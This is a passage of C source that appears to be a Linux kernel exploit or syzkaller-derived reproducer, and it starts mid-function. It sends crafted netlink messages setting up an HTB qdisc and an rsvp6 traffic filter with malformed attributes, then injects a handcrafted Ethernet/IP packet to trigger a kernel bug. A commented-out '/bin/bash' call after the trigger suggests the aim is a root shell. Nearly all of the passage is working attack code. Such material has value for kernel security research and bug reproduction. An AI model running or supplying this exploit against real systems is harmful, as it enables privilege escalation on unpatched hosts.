		.tcm_parent = 0xffffffff,
		.tcm_info = 8
	};

	char attrs[] =	"\x08\x00""\x01\x00""htb\x00" // TCA_KIND
					"\x24\x00""\x08\x80" // TCA_STAB, stab_policy
						"\x1c\x00""\x01\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // TCA_STAB_BASE
						"\x04\x00""\x02\x00" // TCA_STAB_DATA
					"\x1c\x00""\x02\x00" // TCA_OPTIONS
						"\x18\x00""\x02\x00""\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // TCA_HTB_INIT, tc_htb_glob.version=3
	void *payload = build_pkt(&nlmsghdr, &tcmsg, attrs, sizeof(attrs)-1);
	send(nl_sock, payload, nlmsghdr.nlmsg_len, 0);


	struct nlmsghdr nlmsghdr2 = {
		.nlmsg_len = 0,
		.nlmsg_type = RTM_NEWTFILTER, // 0x2c
		.nlmsg_flags = 0x0d27,
		.nlmsg_seq = 0,
		.nlmsg_pid = 0
	};

	struct tcmsg tcmsg2 = {
		.tcm_family = 0,
		.tcm__pad1 = 0,
		.tcm__pad2 = 0,
		.tcm_ifindex = 1,
		.tcm_handle = 0,
		.tcm_parent = 0,
		.tcm_info = 8
	};

	char attrs2[] = "\x0a\x00""\x01\x00""rsvp6\x00\x00\x00" // TCA_KIND
					"\x38\x00""\x02\x00" // TCA_OPTIONS
						"\x20\x00""\x04\x00""\x00\x00\x00\x00""\x87\xa5\xd7\x89""\xf1\x4e\xe7\xa0""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00" // TCA_RSVP_PINFO, struct tc_rsvp_pinfo
						"\x14\x00""\x02\x00""\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // TCA_RSVP_DST, RSVP_DST_LEN * sizeof(u32), 4*sizeof(u32)
	void *payload2 = build_pkt(&nlmsghdr2, &tcmsg2, attrs2, sizeof(attrs2)-1);
	send(nl_sock, payload2, nlmsghdr2.nlmsg_len, 0);





memset((void*)0x200004c0, 170, 5);
*(uint8_t*)0x200004c5 = 0xaa;
memset((void*)0x200004c6, 170, 5);
*(uint8_t*)0x200004cb = 0xbb;
*(uint16_t*)0x200004cc = htobe16(0x800);
STORE_BY_BITMASK(uint8_t, , 0x200004ce, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x200004ce, 4, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x200004cf, 0, 0, 2);
STORE_BY_BITMASK(uint8_t, , 0x200004cf, 0, 2, 6);
*(uint16_t*)0x200004d0 = htobe16(0x28);
*(uint16_t*)0x200004d2 = htobe16(0);
*(uint16_t*)0x200004d4 = htobe16(0);
*(uint8_t*)0x200004d6 = 0;
*(uint8_t*)0x200004d7 = 0x21;
*(uint16_t*)0x200004d8 = htobe16(0);
*(uint8_t*)0x200004da = 0xac;
*(uint8_t*)0x200004db = 0x14;
*(uint8_t*)0x200004dc = 0x14;
*(uint8_t*)0x200004dd = 0xbb;
*(uint32_t*)0x200004de = htobe32(0x64010104);
*(uint8_t*)0x200004e2 = 0x86;
*(uint8_t*)0x200004e3 = 2;
*(uint16_t*)0x200004e6 = htobe16(0);
*(uint16_t*)0x200004e8 = htobe16(0);
*(uint8_t*)0x200004ea = 4;
STORE_BY_BITMASK(uint8_t, , 0x200004eb, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x200004eb, 0, 4, 4);
*(uint16_t*)0x200004ec = htobe16(0);
STORE_BY_BITMASK(uint8_t, , 0x200004ee, 0, 0, 1);
STORE_BY_BITMASK(uint8_t, , 0x200004ee, 0, 1, 4);
STORE_BY_BITMASK(uint8_t, , 0x200004ee, 0, 5, 3);
memcpy((void*)0x200004ef, "\x68\x10\x4f", 3);
*(uint8_t*)0x200004f2 = 0;
memcpy((void*)0x200004f3, "\x8c\x7e\xe8", 3);

	struct csum_inet csum_1;
	csum_inet_init(&csum_1);
csum_inet_update(&csum_1, (const uint8_t*)0x200004da, 4);
csum_inet_update(&csum_1, (const uint8_t*)0x200004de, 4);
	uint16_t csum_1_chunk_2 = 0x2100;
	csum_inet_update(&csum_1, (const uint8_t*)&csum_1_chunk_2, 2);
	uint16_t csum_1_chunk_3 = 0x1000;
	csum_inet_update(&csum_1, (const uint8_t*)&csum_1_chunk_3, 2);
csum_inet_update(&csum_1, (const uint8_t*)0x200004e6, 16);
*(uint16_t*)0x200004ec = csum_inet_digest(&csum_1);
	struct csum_inet csum_2;
	csum_inet_init(&csum_2);
csum_inet_update(&csum_2, (const uint8_t*)0x200004ce, 24);
*(uint16_t*)0x200004d8 = csum_inet_digest(&csum_2);
syz_emit_ethernet(/*len=*/0x36, /*packet=*/0x200004c0, /*frags=*/0);
//system("/bin/bash");



}
int main(void)
{
	syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
			do_sandbox_none();
	return 0;
}